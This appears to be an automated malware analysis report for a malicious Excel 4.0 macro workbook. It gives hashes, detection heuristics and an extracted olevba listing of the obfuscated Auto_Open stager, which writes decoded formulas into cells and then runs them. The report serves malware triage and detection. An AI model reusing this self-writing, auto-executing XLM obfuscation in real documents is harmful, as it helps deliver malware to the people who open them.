Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3912f2459df5a7ba…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:29:32 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 7597b284b69137a0f499894057cdb532 SHA-1: ae32f16273654bf9412b0eb2588e90241df9e840 SHA-256: 3912f2459df5a7baba7e121ca6935c9bc624d91fddb702fde76d563de6ae6fde
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6800 bytes
SHA-256: 29c4d5c339f83caaf654f0ec23218494a0a71418b84f29cf99a17104c35ec98e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AmEUNjJQBel
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C181 
' 0018     27 LABEL : Cell Value, String Constant - bWbhXDbugmvm len=0 
' 0018     21 LABEL : Cell Value, String Constant - CiYjNd len=0 
' 0018     26 LABEL : Cell Value, String Constant - dMTIzIsDoWv len=0 
' 0018     25 LABEL : Cell Value, String Constant - EZdnqcQqcN len=0 
' 0018     25 LABEL : Cell Value, String Constant - FQkvEFvEVi len=0 
' 0018     25 LABEL : Cell Value, String Constant - gKEAldigqq len=0 
' 0018     24 LABEL : Cell Value, String Constant - isYebjlry len=0 
' 0018     27 LABEL : Cell Value, String Constant - lkImWnqqSnuK len=0 
' 0018     22 LABEL : Cell Value, String Constant - npxkgEq len=0 
' 0018     23 LABEL : Cell Value, String Constant - QAgTpMPv len=0 
' 0018     24 LABEL : Cell Value, String Constant - QLFsnbrdu len=0 
' 0018     22 LABEL : Cell Value, String Constant - RjtvMxz len=0 
' 0018     27 LABEL : Cell Value, String Constant - sezhLlLcoHYq len=0 
' 0018     23 LABEL : Cell Value, String Constant - sjLfKhRg len=0 
' 0018     20 LABEL : Cell Value, String Constant - ThyAi len=0 
' 0018     23 LABEL : Cell Value, String Constant - TwoHkgQs len=0 
' 0018     26 LABEL : Cell Value, String Constant - uRnqgxzDWas len=0 
' 0018     23 LABEL : Cell Value, String Constant - VOZgQgOJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - xudCUL len=0 
' 0018     27 LABEL : Cell Value, String Constant - zKzxFXHvBzIi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AmEUNjJQBel,C96,"SET.NAME("EZdnqcQqcN",VALUE("0"))",""
'  AmEUNjJQBel,C101,"SET.NAME("TwoHkgQs",EZdnqcQqcN)",""
'  AmEUNjJQBel,C103,"SET.NAME("bWbhXDbugmvm",EZdnqcQqcN)",""
'  AmEUNjJQBel,C105,"SET.NAME("isYebjlry",COUNTA(sjLfKhRg))",""
'  AmEUNjJQBel,C110,"SET.NAME("VOZgQgOJ",COUNTA(uRnqgxzDWas))",""
'  AmEUNjJQBel,C114,[],""
'  AmEUNjJQBel,C117,"SET.NAME("RjtvMxz","")",""
'  AmEUNjJQBel,C119,"TwoHkgQs",""
'  AmEUNjJQBel,C121,"SET.NAME("FQkvEFvEVi",HLOOKUP("*",sjLfKhRg,TwoHkgQs,FALSE))",""
'  AmEUNjJQBel,C124,"sezhLlLcoHYq",""
'  AmEUNjJQBel,C127,"SET.NAME("QLFsnbrdu",EZdnqcQqcN)",""
'  AmEUNjJQBel,C132,[],""
'  AmEUNjJQBel,C134,"QLFsnbrdu",""
'  AmEUNjJQBel,C138,"xudCUL",""
'  AmEUNjJQBel,C140,"lkImWnqqSnuK",""
'  AmEUNjJQBel,C145,"gKEAldigqq",""
'  AmEUNjJQBel,C147,"SET.NAME("npxkgEq",VALUE(HLOOKUP("*",uRnqgxzDWas,gKEAldigqq,FALSE)))",""
'  AmEUNjJQBel,C149,"ThyAi",""
'  AmEUNjJQBel,C152,"RjtvMxz",""
'  AmEUNjJQBel,C154,"bWbhXDbugmvm",""
'  AmEUNjJQBel,C159,NEXT(),""
'  AmEUNjJQBel,C162,"CiYjNd",""
'  AmEUNjJQBel,C166,"SET.NAME("f",INT(T(FORMULA(T(RjtvMxz)&"",""&T(CiYjNd)))))",""
'  AmEUNjJQBel,C168,"QAgTpMPv",""
'  AmEUNjJQBel,C172,NEXT(),""
'  AmEUNjJQBel,C176,RETURN(),""
'  AmEUNjJQBel,C205,"SET.NAME("dMTIzIsDoWv",C96)",""
'  AmEUNjJQBel,C207,"sjLfKhRg",""
'  AmEUNjJQBel,C212,"SET.NAME("uRnqgxzDWas",R41C13)",""
'  AmEUNjJQBel,C216,"SET.NAME("QAgTpMPv",224)",""
'  AmEUNjJQBel,C220,"SET.NAME("zKzxFXHvBzIi",3)",""
'  AmEUNjJQBel,C223,dMTIzIsDoWv(),""
'  AmEUNjJQBel,C224,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.